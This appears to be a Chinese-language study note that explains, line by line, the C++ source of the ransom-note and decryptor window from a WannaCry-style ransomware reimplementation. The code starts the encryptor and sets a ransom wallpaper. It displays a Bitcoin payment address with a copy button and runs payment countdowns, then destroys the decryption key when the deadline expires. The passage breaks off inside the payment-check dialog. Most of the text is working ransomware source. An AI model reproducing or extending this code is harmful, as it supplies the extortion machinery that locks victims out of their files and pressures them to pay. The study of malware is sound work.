---
title : 10_Decryptor
---
# Decryptor
by WL, Liu
Date : 2021-10-15
---
## 壹、簡介
用於設定視窗之相關樣式,字型或大小,所有元件的配置與格式選擇,包括所有文字、圖片、計時器與進度條,各個畫面都連結與切換,都是透過這個程式碼進行。
## 貳、程式碼
### 主視窗程式
```cpp=
// Decryptor.cpp : Defines the entry point for the application.
//
#include "framework.h"
#include "../config.h"
#include "Decryptor.h"
#include "rsctool.h"
#include "../EZCrypt/EZRC4.h"
#include <Richedit.h>
#include <CommCtrl.h>
#include <string.h>
#include <stdio.h>
#include <ShlObj.h>
#include <time.h>
#include "DecQueue.h"
#include "../Common/ezfile.h"
#include "../Common/ie.h"
#include "../WannaTry/WanaFile.h"
#include "../WannaTry/WanaProc.h"
#include "../WannaTry/WanaEncryptor.h"
#define MAX_LOADSTRING 1000
#define IDC_TIMER1 2001
#define IDC_TIMER30 2030
// Global Variables:
HINSTANCE hInst; // current instance
WCHAR szTitle[MAX_LOADSTRING]; // The title bar text
WCHAR szWindowClass[MAX_LOADSTRING]; // the main window class name
// Forward declarations of functions included in this code module:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK DecryptorDialog(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK DecryptDialog(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK CheckPaymentDialog(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
// TODO: Place code here.
if (!StartEncryptor()) {
return FALSE;
}
```
* 第50行,當互斥鎖存在,也就是當其他相同程式存在,則直接離開,反之,則啟動其他執行緒。
```cpp=54
// Initialize global strings
LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadStringW(hInstance, IDC_DECRYPTOR, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);
// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}
HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_DECRYPTOR));
MSG msg;
// Main message loop:
while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return (int) msg.wParam;
}
```
* 第67行,MSG包含許多程序、訊息,例如滑鼠的移動、點擊以及如何改變視窗。
* 第70行,以loop形式接收訊息。
* 第74及第75行,按键消息轉為字符消息,並分發消息给對應的視窗。
```cpp=81
//
// FUNCTION: MyRegisterClass()
//
// PURPOSE: Registers the window class.
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEXW wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_DECRYPTOR));
wcex.hCursor = LoadCursor(nullptr, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_DECRYPTOR);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
return RegisterClassExW(&wcex);
}
//
// FUNCTION: InitInstance(HINSTANCE, int)
//
// PURPOSE: Saves instance handle and creates main window
//
// COMMENTS:
//
// In this function, we save the instance handle in a global variable and
// create and display the main program window.
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // Store instance handle in our global variable
HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);
if (!hWnd)
{
return FALSE;
}
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
return TRUE;
}
//
// FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_CREATE:
LoadLibrary(_T("Msftedit.dll"));
LoadLibrary(_T("Riched32.dll"));
DialogBox(hInst,
MAKEINTRESOURCE(IDD_DECRYPTOR_DIALOG),
hWnd,
DecryptorDialog);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
```
### 勒索對話框
```cpp=168
BOOL SetWanaDesktop(UINT rcID)
{
PUCHAR pBuffer;
ULONG cbBuffer = 0, cbResult;
TCHAR szFileName[MAX_PATH + 1];
if (!(pBuffer = AllocResource(rcID, &cbBuffer))) {
MessageBox(NULL, _T("AllocResource"), _T("ERROR"), MB_OK);
return FALSE;
}
WanaFileName(szFileName,
_T("@WanaDecryptor@.bmp"));
WriteBuffer(
szFileName,
{ 0 },
0,
pBuffer,
cbBuffer,
&cbResult);
HeapFree(GetProcessHeap(), 0, pBuffer);
SystemParametersInfo(
SPI_SETDESKWALLPAPER,
0,
szFileName,
SPIF_UPDATEINIFILE);
return TRUE;
}
```
* 第177行,取得點陣圖之路徑。
* 第179到第185行,存檔點陣圖。
* 第187到第191行,設定桌面圖片。
```cpp=195
BOOL UpdateRichEdit(HWND hWndRichEdit, UINT rcID)
{
PUCHAR pMessage;
ULONG cbMessage = 0;
if (!(pMessage = AllocResource(rcID, &cbMessage))) {
MessageBox(hWndRichEdit, _T("AllocResource"), _T("ERROR"), MB_OK);
return FALSE;
}
if (memcmp(pMessage, "{\\rtf", 5)) {
PEZRC4 pRC4 = new EZRC4();
pRC4->GenKey(
(PUCHAR)RESOURCE_PASSWORD,
(ULONG)strlen(RESOURCE_PASSWORD));
pRC4->Decrypt(
(PUCHAR)pMessage, cbMessage,
(PUCHAR)pMessage, cbMessage, &cbMessage);
delete pRC4;
}
SETTEXTEX se;
se.codepage = CP_ACP;
se.flags = ST_DEFAULT;
SendMessage(hWndRichEdit,
EM_SETTEXTEX, (WPARAM)&se, (LPARAM)pMessage);
HeapFree(GetProcessHeap(), 0, pMessage);
return TRUE;
}
```
* 第199到第202行,配置記憶體,並將資源ID載入。
* 第204行,用RC4解密。
* 第214行,使用微軟的內碼錶。
```cpp=222
void DrawProgressBar(
HDC hdc,
LONG x,
LONG y,
LONG w,
LONG h,
LONG p) // percentage
{
LONG r1 = 0, g1 = 255, b1 = 0;
LONG r2 = 255, g2 = 0, b2 = 0;
LONG t = h * p / 100;
HBRUSH hBrush = (HBRUSH)GetStockObject(BLACK_BRUSH);
SelectObject(hdc, hBrush);
Rectangle(hdc, x, y, x + w, y + t);
for (LONG i = t; i < h; i++) {
LONG r = i * (r2 - r1) / h + r1;
LONG g = i * (g2 - g1) / h + g1;
LONG b = i * (b2 - b1) / h + b1;
HPEN hPen = CreatePen(PS_SOLID, 1, RGB(r, g, b));
SelectObject(hdc, hPen);
MoveToEx(hdc, x, y + i, NULL);
LineTo(hdc, x + w, y + i);
DeleteObject(hPen);
}
return;
}
```
* 第230行,綠色。
* 第231行,紅色。
* 第232行,計算黑色完成部分的大小的百分比。
* 第233行,預設的黑色筆刷。
* 第237到第239行,分別計算現在的RGB。
* 第240行,以上述RGB創造畫筆。
* 第243行,畫出線條。
* 第244行,刪除畫筆。
```cpp=250
BOOL SetDateTime(
HWND hWndDateTime,
time_t* t)
{
TCHAR szMessage[1024];
tm st;
localtime_s(&st, t);
_stprintf_s(szMessage,
sizeof(szMessage) / sizeof(TCHAR),
_T("%d/%d/%d %02d:%02d:%02d"),
st.tm_mon + 1,
st.tm_mday,
st.tm_year + 1900,
st.tm_hour,
st.tm_min,
st.tm_sec);
SetWindowText(hWndDateTime, szMessage);
return TRUE;
}
```
* 第256行,將time_t轉成tm結構。
* 第266行,設定文字型別。
```cpp=270
BOOL SetTimeLeft(
HWND hWndTime,
time_t nSec)
{
TCHAR pchTimeLeft[16];
time_t sec = nSec % 60;
time_t min = nSec / 60;
time_t hour = min / 60;
min %= 60;
time_t days = hour / 24;
hour %= 24;
_stprintf_s(pchTimeLeft,
sizeof(pchTimeLeft) / sizeof(TCHAR),
_T("%02d:%02d:%02d:%02d"),
(INT)days, (INT)hour, (INT)min, (INT)sec);
SetWindowText(hWndTime, pchTimeLeft);
return TRUE;
}
```
* 第270到第287行,剩於時間,並將其轉換成天、時、分與秒。
* 第275行,計算秒數。
* 第276及第278行,計算分鐘數。
* 第277及第280行,計算時數。
* 第279行,計算天數。
```cpp=288
// Message handler for Decryptor Dialog.
INT_PTR CALLBACK DecryptorDialog(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
static TCHAR BitcoinNumber[] =
_T("115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn");
static HBRUSH hBkBrush = NULL;
static HFONT hFont12B = NULL;
static HFONT hFont12BU = NULL;
static HFONT hFont14BU = NULL;
static HFONT hFont16B = NULL;
static HFONT hFont18BU = NULL;
static HFONT hFont20B = NULL;
static HFONT hFont26B = NULL;
static HFONT hFont30B = NULL;
static HFONT hFont24T = NULL;
static HWND hWndEdit = NULL;
static HWND hWndCombo = NULL;
static HWND hWndRichEdit = NULL;
static HWND hWndDate1 = NULL;
static HWND hWndDate2 = NULL;
static HWND hWndCountDown1 = NULL;
static HWND hWndCountDown2 = NULL;
static HWND hWndProgress1 = NULL;
static HWND hWndProgress2 = NULL;
static RESDATA ResData;
static time_t TimeLeft1, TimeLeft2;
static struct ComboBoxItem {
ULONG rcID;
CONST LPCTSTR str;
} ComboItems[]{
{ IDR_MSG_BULGARIAN, _T("Bulgarian") },
{ IDR_MSG_CHINESE_SIMPLIFIED,
_T("Chinese, (Simplified)") },
{ IDR_MSG_CHINESE_TRADITIONAL,
_T("Chinese, (Traditional)") },
{ IDR_MSG_CROATIAN, _T("Croatian") },
{ IDR_MSG_CZECH, _T("Czech") },
{ IDR_MSG_DANISH, _T("Danish") },
{ IDR_MSG_DUTCH, _T("Dutch") },
{ IDR_MSG_ENGLISH, _T("English") },
{ IDR_MSG_FILIPINO, _T("Filipino") },
{ IDR_MSG_FINNISH, _T("Finnish") },
{ IDR_MSG_FRENCH, _T("French") },
{ IDR_MSG_GERMAN, _T("German") },
{ IDR_MSG_GREEK, _T("Greek") },
{ IDR_MSG_INDONESIAN, _T("Indonesian") },
{ IDR_MSG_ITALIAN, _T("Italian") },
{ IDR_MSG_JAPANESE, _T("Japanese") },
{ IDR_MSG_KOREAN, _T("Korean") },
{ IDR_MSG_LATVIAN, _T("Latvian") },
{ IDR_MSG_NORWEGIAN, _T("Norwegian") },
{ IDR_MSG_POLISH, _T("Polish") },
{ IDR_MSG_PORTUGUESE, _T("Portuguese") },
{ IDR_MSG_ROMANIAN, _T("Romanian") },
{ IDR_MSG_RUSSIAN, _T("Russian") },
{ IDR_MSG_SLOVAK, _T("Slovak") },
{ IDR_MSG_SPANISH, _T("Spanish") },
{ IDR_MSG_SWEDISH, _T("Swedish") },
{ IDR_MSG_TURKISH, _T("Turkish") },
{ IDR_MSG_VIETNAMESE, _T("Vietnamese") },
{0, nullptr}
};
static UINT nDefaultComboItem = 2;
```
* 第294到第351行,使用static,將其儲存在靜態資料區,這會使變數會在程式一開始執行完成初始化,這可以保持變數內容的持久,這些變數在後面的程式碼,只要呼叫對話框時就會使用到。
* 第314行,為兩個計時器,分別為剩餘優惠時間與剩餘解密時間。
* 第319到第349行,為語言選項。
* 第351行,設定為2,即預設為繁體中文。
```cpp=352
switch (message)
{
case WM_INITDIALOG:
{
hBkBrush = CreateSolidBrush(RGB(128, 0, 0));
// create fonts
hFont12B = DefaultFont(12, FALSE);
hFont12BU = DefaultFont(12, TRUE);
hFont14BU = DefaultFont(14, TRUE);
hFont16B = DefaultFont(16, FALSE);
hFont18BU = DefaultFont(18, TRUE);
hFont20B = DefaultFont(20, FALSE);
hFont26B = DefaultFont(26, FALSE);
hFont30B = DefaultFont(30, FALSE);
hFont24T = CreateFont(24, 0, 0, 0,
FW_DONTCARE, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_RASTER_PRECIS,
CLIP_DEFAULT_PRECIS, CLEARTYPE_QUALITY,
VARIABLE_PITCH, _T("Terminal"));
// set font of components
SetDlgItemFont(IDC_CHECKPAYMENT_BUTTON, hFont26B);
SetDlgItemFont(IDC_DECRYPT_BUTTON, hFont26B);
SetDlgItemFont(IDC_OOOPS_STATIC, hFont26B);
SetDlgItemFont(IDC_FILELOST_STATIC, hFont16B);
SetDlgItemFont(IDC_DEADLINE_STATIC, hFont16B);
SetDlgItemFont(IDC_DEADTIMELEFT_STATIC, hFont16B);
SetDlgItemFont(IDC_DEADCOUNTDOWN_STATIC, hFont24T);
SetDlgItemFont(IDC_PAYMENTRAISE_STATIC, hFont16B);
SetDlgItemFont(IDC_DATETIME_STATIC, hFont16B);
SetDlgItemFont(IDC_RAISETIMELEFT_STATIC, hFont16B);
SetDlgItemFont(IDC_RAISECOUNTDOWN_STATIC, hFont24T);
SetDlgItemFont(IDC_COMTACTUS_STATIC, hFont18BU);
SetDlgItemFont(IDC_HOWTOBUY_STATIC, hFont12BU);
SetDlgItemFont(IDC_ABOUTBITCOIN_STATIC, hFont14BU);
SetDlgItemFont(IDC_SENDBITCOIN_STATIC, hFont20B);
SetDlgItemFont(IDC_COPY_BUTTON, hFont12B);
SetDlgItemFont(IDC_EDIT1, hFont20B);
SetDlgItemFont(IDC_COMBO1, hFont12B);
// get HWNDs
hWndEdit = GetDlgItem(hDlg, IDC_EDIT1);
hWndCombo = GetDlgItem(hDlg, IDC_COMBO1);
hWndRichEdit = GetDlgItem(hDlg, IDC_RICHEDIT21);
hWndDate1 = GetDlgItem(hDlg, IDC_DEADLINE_STATIC);
hWndDate2 = GetDlgItem(hDlg, IDC_DATETIME_STATIC);
hWndCountDown1 = GetDlgItem(hDlg, IDC_DEADCOUNTDOWN_STATIC);
hWndCountDown2 = GetDlgItem(hDlg, IDC_RAISECOUNTDOWN_STATIC);
hWndProgress1 = GetDlgItem(hDlg, IDC_PROGRESS1_STATIC);
hWndProgress2 = GetDlgItem(hDlg, IDC_PROGRESS2_STATIC);
// bitcoin
SendMessage(hWndEdit,
WM_SETTEXT, (WPARAM)TRUE,
(LPARAM)BitcoinNumber);
// get start time
ReadResFile(&ResData);
if (!ResData.m_StartTime) {
ResData.m_StartTime = (DWORD)time(NULL);
ResData.m_EndTime = (DWORD)time(NULL);
}
time_t CurTime = GetDecryptFlag() ?
ResData.m_EndTime : time(NULL);
WriteResFile(&ResData);
// count down
time_t st1, st2;
st1 = ResData.m_StartTime + FINAL_COUNTDOWN;
st2 = ResData.m_StartTime + PRICE_COUNTDOWN;
SetDateTime(hWndDate1, &st1);
SetDateTime(hWndDate2, &st2);
TimeLeft1 = st1 > CurTime ? st1 - CurTime : 0;
TimeLeft2 = st2 > CurTime ? st2 - CurTime : 0;
SetTimeLeft(hWndCountDown1, TimeLeft1);
SetTimeLeft(hWndCountDown2, TimeLeft2);
// initialize timers
SetTimer(hDlg,
IDC_TIMER1,
1000,
(TIMERPROC)NULL);
SetTimer(hDlg,
IDC_TIMER30,
30000,
(TIMERPROC)NULL);
// add items into combobox
for (INT i = 0; ComboItems[i].rcID; i++) {
SendMessage(hWndCombo, (UINT)CB_ADDSTRING,
(WPARAM)0, (LPARAM)ComboItems[i].str);
}
SendMessage(hWndCombo, CB_SETCURSEL,
(WPARAM)nDefaultComboItem, (LPARAM)0);
// update richedit
UpdateRichEdit(hWndRichEdit, ComboItems[nDefaultComboItem].rcID);
// set desktop
SetWanaDesktop(IDB_BITMAP3);
return (INT_PTR)TRUE;
}
```
* 第358到第366行,各種對話框會用到的字型樣式,例如:第358行,12字型加底線。
* 第391到第399行,取得各元件之HWND。
* 第401到第404行,若收到訊息時,就編輯文件內容。
* 第405行,將開始閱讀檔案設為開始時間,從000000000.res取得。
* 第415行,計算最後期限。
* 第416行,計算最後優惠期限。
* 第417及第418行,分別輸出第415及第416行計算之時間。
* 第419行,計算最後期限剩餘秒數。
* 第420行,計算最後優惠期限剩餘秒數。
* 第424到第427行,建立以秒為單位的計時器。
* 第428到第431行,建立以30秒為單位的計時器。
```cpp=445
case WM_COMMAND:
{
int wmId = LOWORD(wParam);
switch (wmId)
{
case IDC_DECRYPT_BUTTON:
DialogBox(hInst,
MAKEINTRESOURCE(IDD_DECRYPT_DIALOG),
hDlg,
DecryptDialog);
break;
case IDC_CHECKPAYMENT_BUTTON:
DialogBox(hInst,
MAKEINTRESOURCE(IDC_CHECKPAYMENT_DIALOG),
hDlg,
CheckPaymentDialog);
break;
case IDC_ABOUTBITCOIN_STATIC:
LaunchIE((LPTSTR)_T("https://en.wikipedia.org/wiki/Bitcoin"));
break;
case IDC_HOWTOBUY_STATIC:
LaunchIE((LPTSTR)_T("https://www.google.com/search?q=how+to+buy+bitcoin"));
break;
case IDC_COMTACTUS_STATIC:
MessageBox(hDlg, _T("Contact Us"), _T("TODO"), MB_OK);
break;
case IDC_COMBO1:
if (HIWORD(wParam) == CBN_SELCHANGE) {
INT ItemIndex = (INT)SendMessage((HWND)lParam,
(UINT)CB_GETCURSEL, (WPARAM)0, (LPARAM)0);
BOOL result = UpdateRichEdit(
hWndRichEdit,
ComboItems[ItemIndex].rcID);
}
break;
```
* 第450到第455行,產生解密對話框。
* 第456到第461行,產生Check Payment對話框。
* 第462及第465行,開啟IE顯示網頁,前者為關於比特幣,後者為如何購買比特幣之相關網頁。
* 第471行,收到組合框選項之訊息時執行。
* 第473到第477行,取得選擇項目並更新之。
```cpp=480
case IDC_COPY_BUTTON:
{
HGLOBAL hMem = GlobalAlloc(
GMEM_MOVEABLE,
sizeof(BitcoinNumber));
if (hMem) {
OpenClipboard(hDlg);
EmptyClipboard();
LPTSTR pMem = (LPTSTR)GlobalLock(hMem);
CopyMemory(pMem,
BitcoinNumber,
sizeof(BitcoinNumber));
GlobalUnlock(hMem);
SetClipboardData(
CF_UNICODETEXT,
hMem);
CloseClipboard();
}
break;
}
}
break;
}
case WM_TIMER:
{
if (GetDecryptFlag() || TimeLeft1 <= 0) {
KillTimer(hDlg, IDC_TIMER1);
KillTimer(hDlg, IDC_TIMER30);
break;
}
switch (wParam)
{
case IDC_TIMER1:
{
if (TimeLeft1 > 0) {
TimeLeft1--;
SetTimeLeft(hWndCountDown1, TimeLeft1);
}
else if (!GetDecryptFlag()) {
WanaDestroyKey();
}
if (TimeLeft2 > 0) {
TimeLeft2--;
SetTimeLeft(hWndCountDown2, TimeLeft2);
}
break;
}
case IDC_TIMER30:
{
//用InvalidateRect來觸發重繪
//最後期限進度條
InvalidateRect(hWndProgress1, NULL, TRUE);
//優惠期限進度條
InvalidateRect(hWndProgress2, NULL, TRUE);
break;
}
}
break;
}
```
* 第503到第538行,計時器的設定。
* 第505到第509行,如果已經可解密或是超過最後期限,關閉並停止計時器。
* 第512及第527行,分別為以秒及以30秒為單位之計時器。
* 第519行,超過期限,銷毀解密金鑰。
* * 第531及第533行,分別為繪製最後期限與優惠期限的進度條。
```cpp=539
case WM_CTLCOLORDLG:
return (INT_PTR)hBkBrush;
case WM_CTLCOLORSTATIC:
{
HWND hWndStatic = (HWND)lParam;
HDC hdcStatic = (HDC)wParam;
UINT rcID = GetWindowLong(hWndStatic, GWL_ID);
INT_PTR hBrush = (INT_PTR)GetStockObject(WHITE_BRUSH);
// set background
if (rcID != IDC_EDIT1) {
SetBkColor(hdcStatic, RGB(128, 0, 0));
hBrush = (INT_PTR)hBkBrush;
}
// set text color
switch (rcID) {
// case IDC_CHECKPAYMENT_BUTTON:
// case IDC_COMBO1:
// case IDC_COPY_BUTTON:
// case IDC_DECRYPT_BUTTON:
case IDC_EDIT1:
SetTextColor(hdcStatic, RGB(0, 0, 0));
break;
case IDC_ABOUTBITCOIN_STATIC:
case IDC_COMTACTUS_STATIC:
case IDC_HOWTOBUY_STATIC:
SetTextColor(hdcStatic, RGB(120, 120, 255));
break;
case IDC_FILELOST_STATIC:
case IDC_PAYMENTRAISE_STATIC:
case IDC_SENDBITCOIN_STATIC:
SetTextColor(hdcStatic, RGB(255, 255, 0));
break;
case IDC_PROGRESS1_STATIC:
{
RECT rect;
GetClientRect(hWndStatic, &rect);
DrawProgressBar(hdcStatic,
rect.left,
rect.top,
rect.right,
rect.bottom,
(INT)(time(NULL) - ResData.m_StartTime)
* 100 / FINAL_COUNTDOWN);
break;
}
case IDC_PROGRESS2_STATIC:
{
RECT rect;
GetClientRect(hWndStatic, &rect);
DrawProgressBar(hdcStatic,
rect.left,
rect.top,
rect.right,
rect.bottom,
(INT)(time(NULL) - ResData.m_StartTime)
* 100 / PRICE_COUNTDOWN);
break;
}
default:
SetTextColor(
hdcStatic,
RGB(255, 255, 255));
break;
}
return hBrush;
}
```
* 第548到第550行,除了元件外,背景都設為紅色。
* 第558行,黑色文字。
* 第563行,紫色文字。
* 第568行,黃色文字。
* 第575到第582行,繪出漸層條。
* 第580及第581行,計算完成百分比。
* 第598行,白色文字。
```cpp=605
case WM_CTLCOLORBTN:
{
HWND hWndButton = (HWND)lParam;
HDC hdcButton = (HDC)wParam;
SetBkColor(hdcButton, RGB(128, 0, 0));
return (INT_PTR)hBkBrush;
}
case WM_CLOSE:
DeleteObject(hBkBrush);
DeleteObject(hFont12B);
DeleteObject(hFont12BU);
DeleteObject(hFont14BU);
DeleteObject(hFont16B);
DeleteObject(hFont18BU);
DeleteObject(hFont20B);
DeleteObject(hFont26B);
DeleteObject(hFont30B);
DeleteObject(hFont24T);
PostQuitMessage(0);
return (INT_PTR)TRUE;
default:
break;
}
return (INT_PTR)FALSE;
}
```
* 第612到第629行,收到WM_CLOSE後,刪除之前產生的筆刷與字型。
### 解密對話框
```cpp=631
// Message handler for Decrypt Dialog.
INT_PTR CALLBACK DecryptDialog(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
static HBRUSH hBkBrush = NULL;
static HFONT hFont = NULL;
static HANDLE hThread = NULL;
static BOOL bStartFlag = FALSE;
static PDECQUEUE pDecQueue = NULL;
static DWORD nDirs = 0, nFiles = 0;
static DWORD64 nFileSize = 0;
static HWND hWndCombo, hWndList, hWndStart;
static LPTSTR StartFolder = NULL;
static struct DirSelect {
LPCTSTR DisplayName;
REFKNOWNFOLDERID ID;
} KnownFolders[] = {
{_T("My Computer"), FOLDERID_ComputerFolder },
{_T("Desktop"), FOLDERID_Desktop},
{_T("Downloads"), FOLDERID_Downloads},
{_T("Documents"), FOLDERID_Documents},
{_T("Pictures"), FOLDERID_Pictures},
{_T("Music"), FOLDERID_Music},
{_T("Videos"), FOLDERID_Videos},
{NULL, FOLDERID_Windows} // end of list
};
```
* 第630到第656行,製作解密目錄,static使用原因如前述。
* 第644到第656行,定義7個目錄的選項,可讓其選擇優先解密的項目。
```cpp=657
switch (message)
{
case WM_INITDIALOG:
hBkBrush = CreateSolidBrush(RGB(128, 0, 0));
hFont = DefaultFont(16, FALSE);
SetDlgItemFont(IDC_SELECTHOST_STATIC, hFont);
SetDlgItemFont(IDC_FILELIST_LIST, hFont);
SetDlgItemFont(IDD_DECRYPT_COMBOBOX, hFont);
SetDlgItemFont(IDC_START_BUTTON, hFont);
SetDlgItemFont(IDC_CLIPBOARD_BUTTON, hFont);
SetDlgItemFont(IDC_CLOSE_BUTTON, hFont);
hWndList = GetDlgItem(hDlg, IDC_FILELIST_LIST);
hWndCombo = GetDlgItem(hDlg, IDD_DECRYPT_COMBOBOX);
hWndStart = GetDlgItem(hDlg, IDC_START_BUTTON);
nDirs = 0; //變數初始化
nFiles = 0; //變數初始化
nFileSize = 0; //變數初始化
for (INT i = 0; KnownFolders[i].DisplayName; i++) {
SendMessage(hWndCombo,
CB_ADDSTRING,
(WPARAM)0,
(LPARAM)KnownFolders[i].DisplayName);
}
SendMessage(hWndCombo, CB_SETCURSEL,
(WPARAM)0, (LPARAM)0);
return (INT_PTR)TRUE;
```
* 第659到第682行,設定解密視窗樣式。
* 第660行,產生紅色筆刷並作為背景使用。
* 第661行,用DefaultFont產生字型,並設定大小為16。
* 第662到第667行,將所有控制元件字型都設為第661行所設。
```cpp=683
case WM_COMMAND:
{
int wmId = LOWORD(wParam);
// Parse the menu selections:
switch (wmId)
{
case IDD_DECRYPT_COMBOBOX:
if (HIWORD(wParam) == CBN_SELCHANGE) {
INT ItemIndex = (INT)SendMessage((HWND)lParam,
(UINT)CB_GETCURSEL, (WPARAM)0, (LPARAM)0);
if (ItemIndex == 0) {
StartFolder = NULL;
}
else {
SHGetKnownFolderPath(
KnownFolders[ItemIndex].ID,
0,
NULL,
&StartFolder);
}
}
break;
```
* 第689到第704行,為當收到組合框訊息時運行。
* 第691及第692行,以SendMessage將CB_GETCURSEL得到之訊息傳送給ComboBox,以獲取選擇的選項。
* 第693行,如果選擇為0,則表示是為全電腦解密。
* 第696到第702行,如果選擇到其他結果,利用SHGetKnownFolderPath來取得路徑
```cpp=705
case IDC_START_BUTTON:
if (!bStartFlag) {
pDecQueue = new DECQUEUE(hDlg);
pDecQueue->m_Start = StartFolder;
hThread = CreateThread(
NULL,
0,
DecQueueThread,
pDecQueue,
0,
NULL);
if (hThread) {
CloseHandle(hThread);
hThread = NULL;
}
SetWindowText(hWndStart, _T("Cancel"));
bStartFlag = TRUE;
}
else {
pDecQueue->Stop();
SetWindowText(hWndStart, _T("Start"));
bStartFlag = FALSE;
}
break;
```
* 第705到第728行,設定開始按鈕。
* 第721及第726行,當按下開始後,「Start」變成「Cancel」;相反的,從再次按下後,再由「Cancel」轉變回「Start」。
* 第707到第721行,開始解密。
* 第724到第726行,中斷解密,pDecQueue->Stop傳送「停止」給執行緒。
```cpp=729
case IDC_CLIPBOARD_BUTTON:
{
DWORD nCch = (DWORD)(nFileSize + nFiles * 2 + 10);
HGLOBAL hMem = GlobalAlloc(
GMEM_MOVEABLE,
sizeof(TCHAR) * nCch);
if (hMem) {
OpenClipboard(hDlg); //開啟剪貼簿
EmptyClipboard(); //清空剪貼簿
LPTSTR aFileNames = (LPTSTR)GlobalLock(hMem);
aFileNames[0] = _T('\0');
for (DWORD i = 0; i < nFiles; i++) {
TCHAR aFileName[MAX_PATH + 1];
SendMessage(
hWndList,
LB_GETTEXT, i,
(LPARAM)aFileName);
_tcscat_s(aFileNames, nCch, aFileName);
_tcscat_s(aFileNames, nCch, _T("\r\n"));
}
GlobalUnlock(hMem);
SetClipboardData(CF_UNICODETEXT, hMem);
CloseClipboard();
hMem = NULL;
}
break;
}
```
* 第731行,每個檔名之間有"\r\n",故加上nFile * 2,並補上額外的10,作為保險用通常不會用到。
* 第732到第734行,以GlobalAlloc配置記憶體。
* 第742到第745行,將訊息、索引及檔名存放地址,傳送給ListBox,ListBox便會將檔名到位址上去。
```cpp=756
case IDC_CLOSE_BUTTON:
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
case WM_USER:
{
switch (wParam) {
case IDC_DECQUEUE_DATA:
{
TCHAR szName[MAX_PATH + 1];
DWORD dwAttributes;
pDecQueue->RecvData(szName, &dwAttributes);
if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) {
nDirs++;
}
else {
nFiles++;
SendMessage(hWndList,
LB_ADDSTRING,
(WPARAM)0,
(LPARAM)szName);
SendMessage(hWndList,
LB_SETCURSEL,
(WPARAM)(nFiles - 1),
(LPARAM)0);
nFileSize += (ULONG)_tcslen(szName) + 1;
}
break;
}
```
* 第764及第765行,當收到執行緒回傳時執行。
* 第769行,取得檔名及檔案屬性。
* 第770到第772行,接收目錄,並紀錄接收目錄數量。
* 第774到第783行,接收檔名,並紀錄接收檔名數量,並利用SendMessage將檔名傳送給ListBox。
```cpp=787
case IDC_DECQUEUE_DONE:
{
EnableWindow(hWndStart, TRUE);
break;
}
default:
break;
}
break;
}
case WM_CTLCOLORDLG:
return (INT_PTR)hBkBrush;
case WM_CTLCOLORSTATIC:
{
HDC hdcStatic = (HDC)wParam;
HWND hWndStatic = (HWND)lParam;
SetBkColor(hdcStatic, RGB(128, 0, 0));
SetTextColor(hdcStatic, RGB(255, 255, 255));
return (INT_PTR)((HBRUSH)GetStockObject(NULL_BRUSH));
}
case WM_CLOSE:
DeleteObject(hBkBrush);
DeleteObject(hFont);
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
return (INT_PTR)FALSE;
}
```
* 第797及第798行,將背景設為紅色,故回傳紅色筆刷
* 第799到第805行,所有控制元件都設定為白色文字,回傳NULL_BRUSH,即透明元件。
```cpp=815
// Message handler for Check Payment Dialog.
INT_PTR CALLBACK CheckPaymentDialog(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
static HWND hWndPB = NULL;
static ULONG nMsgID = IDS_CHECKPAYMENTFAIL;
switch (message)
{
case WM_INITDIALOG:
{
hWndPB = GetDlgItem(hDlg,
IDC_CHECKPAYMENTPROGRESS);
SendMessage(hWndPB,
PBM_SETRANGE, 0, MAKELPARAM(1, 254));
